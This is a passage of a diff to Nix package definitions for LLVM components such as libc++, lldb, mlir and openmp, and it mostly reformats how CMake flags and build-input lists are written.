-    ++ lib.optionals useLLVM [
-      (lib.cmakeBool "LIBCXX_USE_COMPILER_RT" true)
-    ]
-    ++
-      lib.optionals (useLLVM && !stdenv.hostPlatform.isFreeBSD && lib.versionAtLeast release_version "16")
-        [
-          (lib.cmakeFeature "LIBCXX_ADDITIONAL_LIBRARIES" "unwind")
-        ]
-    ++ lib.optionals stdenv.hostPlatform.isWasm [
-      (lib.cmakeBool "LIBCXX_ENABLE_THREADS" false)
-      (lib.cmakeBool "LIBCXX_ENABLE_FILESYSTEM" false)
-      (lib.cmakeBool "LIBCXX_ENABLE_EXCEPTIONS" false)
-    ]
-    ++ lib.optionals (cxxabi != null && cxxabi.libName == "cxxrt") [
-      (lib.cmakeBool "LIBCXX_ENABLE_NEW_DELETE_DEFINITIONS" true)
-    ];
+  cxxCMakeFlags = [
+    (lib.cmakeFeature "LIBCXX_CXX_ABI" cxxabiName)
+    (lib.cmakeBool "LIBCXX_ENABLE_SHARED" enableShared)
+    # https://github.com/llvm/llvm-project/issues/55245
+    (lib.cmakeBool "LIBCXX_ENABLE_STATIC_ABI_LIBRARY" stdenv.hostPlatform.isWindows)
+  ]
+  ++ lib.optionals (cxxabi == null && lib.versionAtLeast release_version "16") [
+    # Note: llvm < 16 doesn't support this flag (or it's broken); handled in postInstall instead.
+    # Include libc++abi symbols within libc++.a for static linking libc++;
+    # dynamic linking includes them through libc++.so being a linker script
+    # which includes both shared objects.
+    (lib.cmakeBool "LIBCXX_STATICALLY_LINK_ABI_IN_STATIC_LIBRARY" true)
+  ]
+  ++ lib.optionals (cxxabi != null) [
+    (lib.cmakeFeature "LIBCXX_CXX_ABI_INCLUDE_PATHS" "${lib.getDev cxxabi}/include")
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isMusl || stdenv.hostPlatform.isWasi) [
+    (lib.cmakeFeature "LIBCXX_HAS_MUSL_LIBC" "1")
+  ]
+  ++
+    lib.optionals
+      (
+        lib.versionAtLeast release_version "18"
+        && !useLLVM
+        && stdenv.hostPlatform.libc == "glibc"
+        && !stdenv.hostPlatform.isStatic
+      )
+      [
+        (lib.cmakeFeature "LIBCXX_ADDITIONAL_LIBRARIES" "gcc_s")
+      ]
+  ++ lib.optionals (lib.versionAtLeast release_version "18" && stdenv.hostPlatform.isFreeBSD) [
+    # Name and documentation claim this is for libc++abi, but its man effect is adding `-lunwind`
+    # to the libc++.so linker script. We want FreeBSD's so-called libgcc instead of libunwind.
+    (lib.cmakeBool "LIBCXXABI_USE_LLVM_UNWINDER" false)
+  ]
+  ++ lib.optionals useLLVM [
+    (lib.cmakeBool "LIBCXX_USE_COMPILER_RT" true)
+  ]
+  ++
+    lib.optionals (useLLVM && !stdenv.hostPlatform.isFreeBSD && lib.versionAtLeast release_version "16")
+      [
+        (lib.cmakeFeature "LIBCXX_ADDITIONAL_LIBRARIES" "unwind")
+      ]
+  ++ lib.optionals stdenv.hostPlatform.isWasm [
+    (lib.cmakeBool "LIBCXX_ENABLE_THREADS" false)
+    (lib.cmakeBool "LIBCXX_ENABLE_FILESYSTEM" false)
+    (lib.cmakeBool "LIBCXX_ENABLE_EXCEPTIONS" false)
+  ]
+  ++ lib.optionals (cxxabi != null && cxxabi.libName == "cxxrt") [
+    (lib.cmakeBool "LIBCXX_ENABLE_NEW_DELETE_DEFINITIONS" true)
+  ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" (lib.concatStringsSep ";" runtimes))
-    ]
-    ++
-      lib.optionals
-        (
-          stdenv.hostPlatform.isWasm
-          || (lib.versions.major release_version == "12" && stdenv.hostPlatform.isDarwin)
-        )
-        [
-          (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
-        ]
-    ++ lib.optionals stdenv.hostPlatform.isWasm [
-      (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
-      (lib.cmakeBool "UNIX" true) # Required otherwise libc++ fails to detect the correct linker
-    ]
-    ++ cxxCMakeFlags
-    ++ lib.optionals (cxxabi == null) cxxabiCMakeFlags
-    ++ devExtraCmakeFlags;
+  cmakeFlags = [
+    (lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" (lib.concatStringsSep ";" runtimes))
+  ]
+  ++
+    lib.optionals
+      (
+        stdenv.hostPlatform.isWasm
+        || (lib.versions.major release_version == "12" && stdenv.hostPlatform.isDarwin)
+      )
+      [
+        (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
+      ]
+  ++ lib.optionals stdenv.hostPlatform.isWasm [
+    (lib.cmakeBool "CMAKE_C_COMPILER_WORKS" true)
+    (lib.cmakeBool "UNIX" true) # Required otherwise libc++ fails to detect the correct linker
+  ]
+  ++ cxxCMakeFlags
+  ++ lib.optionals (cxxabi == null) cxxabiCMakeFlags
+  ++ devExtraCmakeFlags;
 
 in
 
@@ -211,20 +209,20 @@ stdenv.mkDerivation (
       })
     );
 
-    nativeBuildInputs =
-      [
-        cmake
-        ninja
-        python3
-      ]
-      ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames
-      ++ lib.optional (cxxabi != null) lndir;
+    nativeBuildInputs = [
+      cmake
+      ninja
+      python3
+    ]
+    ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames
+    ++ lib.optional (cxxabi != null) lndir;
 
-    buildInputs =
-      [ cxxabi ]
-      ++ lib.optionals (useLLVM && !stdenv.hostPlatform.isWasm && !stdenv.hostPlatform.isFreeBSD) [
-        libunwind
-      ];
+    buildInputs = [
+      cxxabi
+    ]
+    ++ lib.optionals (useLLVM && !stdenv.hostPlatform.isWasm && !stdenv.hostPlatform.isFreeBSD) [
+      libunwind
+    ];
 
     # libc++.so is a linker script which expands to multiple libraries,
     # libc++.so.1 and libc++abi.so or the external cxxabi. ld-wrapper doesn't
diff --git a/pkgs/development/compilers/llvm/common/libunwind/default.nix b/pkgs/development/compilers/llvm/common/libunwind/default.nix
index 25520428bacb..c8608ca26a4a 100644
--- a/pkgs/development/compilers/llvm/common/libunwind/default.nix
+++ b/pkgs/development/compilers/llvm/common/libunwind/default.nix
@@ -66,22 +66,24 @@ stdenv.mkDerivation (
       "dev"
     ];
 
-    nativeBuildInputs =
-      [ cmake ]
-      ++ lib.optionals (lib.versionAtLeast release_version "15") [
-        ninja
-        python3
-      ];
+    nativeBuildInputs = [
+      cmake
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "15") [
+      ninja
+      python3
+    ];
 
-    cmakeFlags =
-      [ (lib.cmakeBool "LIBUNWIND_ENABLE_SHARED" enableShared) ]
-      ++ lib.optional (lib.versionAtLeast release_version "15") (
-        lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" "libunwind"
-      )
-      ++ lib.optionals (lib.versions.major release_version == "12" && stdenv.hostPlatform.isDarwin) [
-        (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
-      ]
-      ++ devExtraCmakeFlags;
+    cmakeFlags = [
+      (lib.cmakeBool "LIBUNWIND_ENABLE_SHARED" enableShared)
+    ]
+    ++ lib.optional (lib.versionAtLeast release_version "15") (
+      lib.cmakeFeature "LLVM_ENABLE_RUNTIMES" "libunwind"
+    )
+    ++ lib.optionals (lib.versions.major release_version == "12" && stdenv.hostPlatform.isDarwin) [
+      (lib.cmakeBool "CMAKE_CXX_COMPILER_WORKS" true)
+    ]
+    ++ devExtraCmakeFlags;
 
     prePatch =
       lib.optionalString
diff --git a/pkgs/development/compilers/llvm/common/lld/default.nix b/pkgs/development/compilers/llvm/common/lld/default.nix
index ea5fe0e4e9cf..4681f8ce5705 100644
--- a/pkgs/development/compilers/llvm/common/lld/default.nix
+++ b/pkgs/development/compilers/llvm/common/lld/default.nix
@@ -41,23 +41,24 @@ stdenv.mkDerivation (finalAttrs: {
 
   sourceRoot = "${finalAttrs.src.name}/lld";
 
-  patches =
-    [ (getVersionFile "lld/gnu-install-dirs.patch") ]
-    ++ lib.optional (lib.versions.major release_version == "14") (
-      getVersionFile "lld/fix-root-src-dir.patch"
-    )
-    ++ lib.optional (lib.versionAtLeast release_version "16" && lib.versionOlder release_version "18") (
-      getVersionFile "lld/add-table-base.patch"
-    )
-    ++ lib.optional (lib.versions.major release_version == "18") (
-      # https://github.com/llvm/llvm-project/pull/97122
-      fetchpatch {
-        name = "more-openbsd-program-headers.patch";
-        url = "https://github.com/llvm/llvm-project/commit/d7fd8b19e560fbb613159625acd8046d0df75115.patch";
-        stripLen = 1;
-        hash = "sha256-7wTy7XDTx0+fhWQpW1KEuz7xJvpl42qMTUfd20KGOfA=";
-      }
-    );
+  patches = [
+    (getVersionFile "lld/gnu-install-dirs.patch")
+  ]
+  ++ lib.optional (lib.versions.major release_version == "14") (
+    getVersionFile "lld/fix-root-src-dir.patch"
+  )
+  ++ lib.optional (lib.versionAtLeast release_version "16" && lib.versionOlder release_version "18") (
+    getVersionFile "lld/add-table-base.patch"
+  )
+  ++ lib.optional (lib.versions.major release_version == "18") (
+    # https://github.com/llvm/llvm-project/pull/97122
+    fetchpatch {
+      name = "more-openbsd-program-headers.patch";
+      url = "https://github.com/llvm/llvm-project/commit/d7fd8b19e560fbb613159625acd8046d0df75115.patch";
+      stripLen = 1;
+      hash = "sha256-7wTy7XDTx0+fhWQpW1KEuz7xJvpl42qMTUfd20KGOfA=";
+    }
+  );
 
   nativeBuildInputs = [ cmake ] ++ lib.optional (lib.versionAtLeast release_version "15") ninja;
   buildInputs = [
diff --git a/pkgs/development/compilers/llvm/common/lldb/default.nix b/pkgs/development/compilers/llvm/common/lldb/default.nix
index 7dc2906cda0d..06ff51064060 100644
--- a/pkgs/development/compilers/llvm/common/lldb/default.nix
+++ b/pkgs/development/compilers/llvm/common/lldb/default.nix
@@ -132,103 +132,99 @@ stdenv.mkDerivation (
       )
       ++ lib.optional (lib.versionAtLeast release_version "14") ./gnu-install-dirs.patch;
 
-    nativeBuildInputs =
-      [
-        cmake
-        python3
-        which
-        swig
-        lit
-        makeWrapper
-        lua5_3
-      ]
-      ++ lib.optionals enableManpages [
-        python3.pkgs.sphinx
-      ]
-      ++ lib.optionals (lib.versionOlder release_version "18" && enableManpages) [
-        python3.pkgs.recommonmark
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "18" && enableManpages) [
-        python3.pkgs.myst-parser
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "14") [
-        ninja
-      ];
+    nativeBuildInputs = [
+      cmake
+      python3
+      which
+      swig
+      lit
+      makeWrapper
+      lua5_3
+    ]
+    ++ lib.optionals enableManpages [
+      python3.pkgs.sphinx
+    ]
+    ++ lib.optionals (lib.versionOlder release_version "18" && enableManpages) [
+      python3.pkgs.recommonmark
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "18" && enableManpages) [
+      python3.pkgs.myst-parser
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "14") [
+      ninja
+    ];
 
-    buildInputs =
-      [
-        ncurses
-        zlib
-        libedit
-        libxml2
-        libllvm
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "16") [
-        # Starting with LLVM 16, the resource dir patch is no longer enough to get
-        # libclang into the rpath of the lldb executables. By putting it into
-        # buildInputs cc-wrapper will set up rpath correctly for us.
-        (lib.getLib libclang)
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        darwin.bootstrap_cmds
-      ];
+    buildInputs = [
+      ncurses
+      zlib
+      libedit
+      libxml2
+      libllvm
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "16") [
+      # Starting with LLVM 16, the resource dir patch is no longer enough to get
+      # libclang into the rpath of the lldb executables. By putting it into
+      # buildInputs cc-wrapper will set up rpath correctly for us.
+      (lib.getLib libclang)
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      darwin.bootstrap_cmds
+    ];
 
     hardeningDisable = [ "format" ];
 
-    cmakeFlags =
+    cmakeFlags = [
+      (lib.cmakeBool "LLDB_INCLUDE_TESTS" finalAttrs.finalPackage.doCheck)
+      (lib.cmakeBool "LLVM_ENABLE_RTTI" false)
+      (lib.cmakeFeature "Clang_DIR" "${lib.getDev libclang}/lib/cmake")
+      (lib.cmakeFeature "LLVM_EXTERNAL_LIT" "${lit}/bin/lit")
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isDarwin [
+      (lib.cmakeBool "LLDB_USE_SYSTEM_DEBUGSERVER" true)
+    ]
+    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+      (lib.cmakeFeature "LLDB_CODESIGN_IDENTITY" "") # codesigning makes nondeterministic
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "17") [
+      (lib.cmakeFeature "CLANG_RESOURCE_DIR" "../../../../${lib.getLib libclang}")
+    ]
+    ++ lib.optionals enableManpages (
       [
-        (lib.cmakeBool "LLDB_INCLUDE_TESTS" finalAttrs.finalPackage.doCheck)
-        (lib.cmakeBool "LLVM_ENABLE_RTTI" false)
-        (lib.cmakeFeature "Clang_DIR" "${lib.getDev libclang}/lib/cmake")
-        (lib.cmakeFeature "LLVM_EXTERNAL_LIT" "${lit}/bin/lit")
+        (lib.cmakeBool "LLVM_ENABLE_SPHINX" true)
+        (lib.cmakeBool "SPHINX_OUTPUT_MAN" true)
+        (lib.cmakeBool "SPHINX_OUTPUT_HTML" false)
       ]
-      ++ lib.optionals stdenv.hostPlatform.isDarwin [
-        (lib.cmakeBool "LLDB_USE_SYSTEM_DEBUGSERVER" true)
+      ++ lib.optionals (lib.versionAtLeast release_version "15") [
+        # docs reference `automodapi` but it's not added to the extensions list when
+        # only building the manpages:
+        # https://github.com/llvm/llvm-project/blob/af6ec9200b09039573d85e349496c4f5b17c3d7f/lldb/docs/conf.py#L54
+        #
+        # so, we just ignore the resulting errors
+        (lib.cmakeBool "SPHINX_WARNINGS_AS_ERRORS" false)
       ]
-      ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-        (lib.cmakeFeature "LLDB_CODESIGN_IDENTITY" "") # codesigning makes nondeterministic
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "17") [
-        (lib.cmakeFeature "CLANG_RESOURCE_DIR" "../../../../${lib.getLib libclang}")
-      ]
-      ++ lib.optionals enableManpages (
-        [
-          (lib.cmakeBool "LLVM_ENABLE_SPHINX" true)
-          (lib.cmakeBool "SPHINX_OUTPUT_MAN" true)
-          (lib.cmakeBool "SPHINX_OUTPUT_HTML" false)
-        ]
-        ++ lib.optionals (lib.versionAtLeast release_version "15") [
-          # docs reference `automodapi` but it's not added to the extensions list when
-          # only building the manpages:
-          # https://github.com/llvm/llvm-project/blob/af6ec9200b09039573d85e349496c4f5b17c3d7f/lldb/docs/conf.py#L54
-          #
-          # so, we just ignore the resulting errors
-          (lib.cmakeBool "SPHINX_WARNINGS_AS_ERRORS" false)
-        ]
-      )
-      ++ lib.optionals finalAttrs.finalPackage.doCheck [
-        (lib.cmakeFeature "LLDB_TEST_C_COMPILER" "${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc")
-        (lib.cmakeFeature "-DLLDB_TEST_CXX_COMPILER" "${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++")
-      ]
-      ++ devExtraCmakeFlags;
+    )
+    ++ lib.optionals finalAttrs.finalPackage.doCheck [
+      (lib.cmakeFeature "LLDB_TEST_C_COMPILER" "${stdenv.cc}/bin/${stdenv.cc.targetPrefix}cc")
+      (lib.cmakeFeature "-DLLDB_TEST_CXX_COMPILER" "${stdenv.cc}/bin/${stdenv.cc.targetPrefix}c++")
+    ]
+    ++ devExtraCmakeFlags;
 
     doCheck = false;
     doInstallCheck = lib.versionOlder release_version "15";
 
     # TODO: cleanup with mass-rebuild
-    installCheckPhase =
-      ''
-        if [ ! -e ''${!outputLib}/${python3.sitePackages}/lldb/_lldb*.so ] ; then
-            echo "ERROR: python files not installed where expected!";
-            return 1;
-        fi
-      '' # Something lua is built on older versions but this file doesn't exist.
-      + lib.optionalString (lib.versionAtLeast release_version "14") ''
-        if [ ! -e "''${!outputLib}/lib/lua/${lua5_3.luaversion}/lldb.so" ] ; then
-            echo "ERROR: lua files not installed where expected!";
-            return 1;
-        fi
-      '';
+    installCheckPhase = ''
+      if [ ! -e ''${!outputLib}/${python3.sitePackages}/lldb/_lldb*.so ] ; then
+          echo "ERROR: python files not installed where expected!";
+          return 1;
+      fi
+    '' # Something lua is built on older versions but this file doesn't exist.
+    + lib.optionalString (lib.versionAtLeast release_version "14") ''
+      if [ ! -e "''${!outputLib}/lib/lua/${lua5_3.luaversion}/lldb.so" ] ; then
+          echo "ERROR: lua files not installed where expected!";
+          return 1;
+      fi
+    '';
 
     postInstall = ''
       wrapProgram $out/bin/lldb --prefix PYTHONPATH : ''${!outputLib}/${python3.sitePackages}/
diff --git a/pkgs/development/compilers/llvm/common/llvm/default.nix b/pkgs/development/compilers/llvm/common/llvm/default.nix
index a605c17e492c..d55ad83a5581 100644
--- a/pkgs/development/compilers/llvm/common/llvm/default.nix
+++ b/pkgs/development/compilers/llvm/common/llvm/default.nix
@@ -296,31 +296,31 @@ stdenv.mkDerivation (
           # Just like the `llvm-lit-cfg` patch, but for `polly`.
           (getVersionFile "llvm/polly-lit-cfg-add-libs-to-dylib-path.patch");
 
-    nativeBuildInputs =
-      [
-        cmake
-        # while this is not an autotools build, it still includes a config.guess
-        # this is needed until scripts are updated to not use /usr/bin/uname on FreeBSD native
-        updateAutotoolsGnuConfigScriptsHook
-        python
-      ]
-      ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
-      ++ optionals enableManpages [
-        # Note: we intentionally use `python3Packages` instead of `python3.pkgs`;
-        # splicing does *not* work with the latter. (TODO: fix)
-        python3Packages.sphinx
-      ]
-      ++ optionals (lib.versionOlder version "18" && enableManpages) [
-        python3Packages.recommonmark
-      ]
-      ++ optionals (lib.versionAtLeast version "18" && enableManpages) [
-        python3Packages.myst-parser
-      ];
+    nativeBuildInputs = [
+      cmake
+      # while this is not an autotools build, it still includes a config.guess
+      # this is needed until scripts are updated to not use /usr/bin/uname on FreeBSD native
+      updateAutotoolsGnuConfigScriptsHook
+      python
+    ]
+    ++ (lib.optional (lib.versionAtLeast release_version "15") ninja)
+    ++ optionals enableManpages [
+      # Note: we intentionally use `python3Packages` instead of `python3.pkgs`;
+      # splicing does *not* work with the latter. (TODO: fix)
+      python3Packages.sphinx
+    ]
+    ++ optionals (lib.versionOlder version "18" && enableManpages) [
+      python3Packages.recommonmark
+    ]
+    ++ optionals (lib.versionAtLeast version "18" && enableManpages) [
+      python3Packages.myst-parser
+    ];
 
     buildInputs = [
       libxml2
       libffi
-    ] ++ optional enablePFM libpfm; # exegesis
+    ]
+    ++ optional enablePFM libpfm; # exegesis
 
     propagatedBuildInputs =
       (lib.optional (
@@ -680,41 +680,40 @@ stdenv.mkDerivation (
           ]
       ++ devExtraCmakeFlags;
 
-    postInstall =
-      ''
-        mkdir -p $python/share
-        mv $out/share/opt-viewer $python/share/opt-viewer
-        moveToOutput "bin/llvm-config*" "$dev"
-        substituteInPlace "$dev/lib/cmake/llvm/LLVMExports-${lib.toLower finalAttrs.finalPackage.cmakeBuildType}.cmake" \
-          --replace-fail "$out/bin/llvm-config" "$dev/bin/llvm-config"
-      ''
-      + (
-        if lib.versionOlder release_version "15" then
-          ''
-            substituteInPlace "$dev/lib/cmake/llvm/LLVMConfig.cmake" \
-              --replace-fail 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}")' 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}'"$lib"'")'
-          ''
-        else
-          ''
-            substituteInPlace "$dev/lib/cmake/llvm/LLVMConfig.cmake" \
-              --replace-fail 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}")' 'set(LLVM_BINARY_DIR "'"$lib"'")'
-          ''
-      )
-      + optionalString (stdenv.hostPlatform.isDarwin && enableSharedLibraries) ''
-        ln -s $lib/lib/libLLVM.dylib $lib/lib/libLLVM-${
-          if lib.versionOlder release_version "18" then "$shortVersion" else release_version
-        }.dylib
-      ''
-      + optionalString (stdenv.buildPlatform != stdenv.hostPlatform) (
-        if stdenv.buildPlatform.canExecute stdenv.hostPlatform then
-          ''
-            ln -s $dev/bin/llvm-config $dev/bin/llvm-config-native
-          ''
-        else
-          ''
-            cp NATIVE/bin/llvm-config $dev/bin/llvm-config-native
-          ''
-      );
+    postInstall = ''
+      mkdir -p $python/share
+      mv $out/share/opt-viewer $python/share/opt-viewer
+      moveToOutput "bin/llvm-config*" "$dev"
+      substituteInPlace "$dev/lib/cmake/llvm/LLVMExports-${lib.toLower finalAttrs.finalPackage.cmakeBuildType}.cmake" \
+        --replace-fail "$out/bin/llvm-config" "$dev/bin/llvm-config"
+    ''
+    + (
+      if lib.versionOlder release_version "15" then
+        ''
+          substituteInPlace "$dev/lib/cmake/llvm/LLVMConfig.cmake" \
+            --replace-fail 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}")' 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}'"$lib"'")'
+        ''
+      else
+        ''
+          substituteInPlace "$dev/lib/cmake/llvm/LLVMConfig.cmake" \
+            --replace-fail 'set(LLVM_BINARY_DIR "''${LLVM_INSTALL_PREFIX}")' 'set(LLVM_BINARY_DIR "'"$lib"'")'
+        ''
+    )
+    + optionalString (stdenv.hostPlatform.isDarwin && enableSharedLibraries) ''
+      ln -s $lib/lib/libLLVM.dylib $lib/lib/libLLVM-${
+        if lib.versionOlder release_version "18" then "$shortVersion" else release_version
+      }.dylib
+    ''
+    + optionalString (stdenv.buildPlatform != stdenv.hostPlatform) (
+      if stdenv.buildPlatform.canExecute stdenv.hostPlatform then
+        ''
+          ln -s $dev/bin/llvm-config $dev/bin/llvm-config-native
+        ''
+      else
+        ''
+          cp NATIVE/bin/llvm-config $dev/bin/llvm-config-native
+        ''
+    );
 
     doCheck =
       !isDarwinBootstrap
@@ -793,7 +792,8 @@ stdenv.mkDerivation (
   // lib.optionalAttrs (lib.versionAtLeast release_version "13") {
     nativeCheckInputs = [
       which
-    ] ++ lib.optional (stdenv.hostPlatform.isDarwin && lib.versionAtLeast release_version "15") sysctl;
+    ]
+    ++ lib.optional (stdenv.hostPlatform.isDarwin && lib.versionAtLeast release_version "15") sysctl;
   }
   // lib.optionalAttrs (lib.versionOlder release_version "15") {
     # hacky fix: created binaries need to be run before installation
diff --git a/pkgs/development/compilers/llvm/common/mlir/default.nix b/pkgs/development/compilers/llvm/common/mlir/default.nix
index 66441232d968..d0ebf9bde2c5 100644
--- a/pkgs/development/compilers/llvm/common/mlir/default.nix
+++ b/pkgs/development/compilers/llvm/common/mlir/default.nix
@@ -56,31 +56,30 @@ stdenv.mkDerivation (finalAttrs: {
     libxml2
   ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "LLVM_BUILD_TOOLS" true)
-      # Install headers as well
-      (lib.cmakeBool "LLVM_INSTALL_TOOLCHAIN_ONLY" false)
-      (lib.cmakeFeature "MLIR_TOOLS_INSTALL_DIR" "${placeholder "out"}/bin/")
-      (lib.cmakeBool "LLVM_ENABLE_IDE" false)
-      (lib.cmakeFeature "MLIR_INSTALL_PACKAGE_DIR" "${placeholder "dev"}/lib/cmake/mlir")
-      (lib.cmakeFeature "MLIR_INSTALL_CMAKE_DIR" "${placeholder "dev"}/lib/cmake/mlir")
-      (lib.cmakeBool "LLVM_BUILD_TESTS" finalAttrs.finalPackage.doCheck)
-      (lib.cmakeBool "LLVM_ENABLE_FFI" true)
-      (lib.cmakeFeature "LLVM_HOST_TRIPLE" stdenv.hostPlatform.config)
-      (lib.cmakeFeature "LLVM_DEFAULT_TARGET_TRIPLE" stdenv.hostPlatform.config)
-      (lib.cmakeBool "LLVM_ENABLE_DUMP" true)
-      (lib.cmakeFeature "LLVM_TABLEGEN_EXE" "${buildLlvmTools.tblgen}/bin/llvm-tblgen")
-      (lib.cmakeFeature "MLIR_TABLEGEN_EXE" "${buildLlvmTools.tblgen}/bin/mlir-tblgen")
-      (lib.cmakeBool "LLVM_BUILD_LLVM_DYLIB" (!stdenv.hostPlatform.isStatic))
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isStatic [
-      # Disables building of shared libs, -fPIC is still injected by cc-wrapper
-      (lib.cmakeBool "LLVM_ENABLE_PIC" false)
-      (lib.cmakeBool "LLVM_BUILD_STATIC" true)
-      (lib.cmakeBool "LLVM_LINK_LLVM_DYLIB" false)
-    ]
-    ++ devExtraCmakeFlags;
+  cmakeFlags = [
+    (lib.cmakeBool "LLVM_BUILD_TOOLS" true)
+    # Install headers as well
+    (lib.cmakeBool "LLVM_INSTALL_TOOLCHAIN_ONLY" false)
+    (lib.cmakeFeature "MLIR_TOOLS_INSTALL_DIR" "${placeholder "out"}/bin/")
+    (lib.cmakeBool "LLVM_ENABLE_IDE" false)
+    (lib.cmakeFeature "MLIR_INSTALL_PACKAGE_DIR" "${placeholder "dev"}/lib/cmake/mlir")
+    (lib.cmakeFeature "MLIR_INSTALL_CMAKE_DIR" "${placeholder "dev"}/lib/cmake/mlir")
+    (lib.cmakeBool "LLVM_BUILD_TESTS" finalAttrs.finalPackage.doCheck)
+    (lib.cmakeBool "LLVM_ENABLE_FFI" true)
+    (lib.cmakeFeature "LLVM_HOST_TRIPLE" stdenv.hostPlatform.config)
+    (lib.cmakeFeature "LLVM_DEFAULT_TARGET_TRIPLE" stdenv.hostPlatform.config)
+    (lib.cmakeBool "LLVM_ENABLE_DUMP" true)
+    (lib.cmakeFeature "LLVM_TABLEGEN_EXE" "${buildLlvmTools.tblgen}/bin/llvm-tblgen")
+    (lib.cmakeFeature "MLIR_TABLEGEN_EXE" "${buildLlvmTools.tblgen}/bin/mlir-tblgen")
+    (lib.cmakeBool "LLVM_BUILD_LLVM_DYLIB" (!stdenv.hostPlatform.isStatic))
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isStatic [
+    # Disables building of shared libs, -fPIC is still injected by cc-wrapper
+    (lib.cmakeBool "LLVM_ENABLE_PIC" false)
+    (lib.cmakeBool "LLVM_BUILD_STATIC" true)
+    (lib.cmakeBool "LLVM_LINK_LLVM_DYLIB" false)
+  ]
+  ++ devExtraCmakeFlags;
 
   outputs = [
     "out"
diff --git a/pkgs/development/compilers/llvm/common/openmp/default.nix b/pkgs/development/compilers/llvm/common/openmp/default.nix
index d1ff3ea5879c..d480b33a6025 100644
--- a/pkgs/development/compilers/llvm/common/openmp/default.nix
+++ b/pkgs/development/compilers/llvm/common/openmp/default.nix
@@ -73,45 +73,42 @@ stdenv.mkDerivation (
             }
           );
 
-    nativeBuildInputs =
-      [
-        cmake
-        python3.pythonOnBuildForHost
-        perl
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "15") [
-        ninja
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "14") [
-        pkg-config
-        lit
-      ];
+    nativeBuildInputs = [
+      cmake
+      python3.pythonOnBuildForHost
+      perl
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "15") [
+      ninja
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "14") [
+      pkg-config
+      lit
+    ];
 
-    buildInputs =
-      [
-        (if stdenv.buildPlatform == stdenv.hostPlatform then llvm else targetLlvm)
-      ]
-      ++ lib.optionals (ompdSupport && ompdGdbSupport) [
-        python3
-      ];
+    buildInputs = [
+      (if stdenv.buildPlatform == stdenv.hostPlatform then llvm else targetLlvm)
+    ]
+    ++ lib.optionals (ompdSupport && ompdGdbSupport) [
+      python3
+    ];
 
-    cmakeFlags =
-      [
-        (lib.cmakeBool "LIBOMP_ENABLE_SHARED" (
-          !stdenv.hostPlatform.isStatic && stdenv.hostPlatform.hasSharedLibraries
-        ))
-        (lib.cmakeBool "LIBOMP_OMPD_SUPPORT" ompdSupport)
-        (lib.cmakeBool "LIBOMP_OMPD_GDB_SUPPORT" ompdGdbSupport)
-      ]
-      ++ lib.optionals (lib.versions.major release_version == "13") [
-        (lib.cmakeBool "LIBOMPTARGET_BUILD_AMDGCN_BCLIB" false) # Building the AMDGCN device RTL fails
-      ]
-      ++ lib.optionals (lib.versionAtLeast release_version "14") [
-        (lib.cmakeFeature "CLANG_TOOL" "${clang-unwrapped}/bin/clang")
-        (lib.cmakeFeature "OPT_TOOL" "${llvm}/bin/opt")
-        (lib.cmakeFeature "LINK_TOOL" "${llvm}/bin/llvm-link")
-      ]
-      ++ devExtraCmakeFlags;
+    cmakeFlags = [
+      (lib.cmakeBool "LIBOMP_ENABLE_SHARED" (
+        !stdenv.hostPlatform.isStatic && stdenv.hostPlatform.hasSharedLibraries
+      ))
+      (lib.cmakeBool "LIBOMP_OMPD_SUPPORT" ompdSupport)
+      (lib.cmakeBool "LIBOMP_OMPD_GDB_SUPPORT" ompdGdbSupport)
+    ]
+    ++ lib.optionals (lib.versions.major release_version == "13") [
+      (lib.cmakeBool "LIBOMPTARGET_BUILD_AMDGCN_BCLIB" false) # Building the AMDGCN device RTL fails
+    ]
+    ++ lib.optionals (lib.versionAtLeast release_version "14") [
+      (lib.cmakeFeature "CLANG_TOOL" "${clang-unwrapped}/bin/clang")
+      (lib.cmakeFeature "OPT_TOOL" "${llvm}/bin/opt")
+      (lib.cmakeFeature "LINK_TOOL" "${llvm}/bin/llvm-link")
+    ]
+    ++ devExtraCmakeFlags;
 
     meta = llvm_meta // {
       homepage = "https://openmp.llvm.org/";
diff --git a/pkgs/development/compilers/llvm/common/tblgen.nix b/pkgs/development/compilers/llvm/common/tblgen.nix
index 49cbcb0af2ca..8e920e32fea8 100644
--- a/pkgs/development/compilers/llvm/common/tblgen.nix
+++ b/pkgs/development/compilers/llvm/common/tblgen.nix
@@ -92,25 +92,25 @@ let
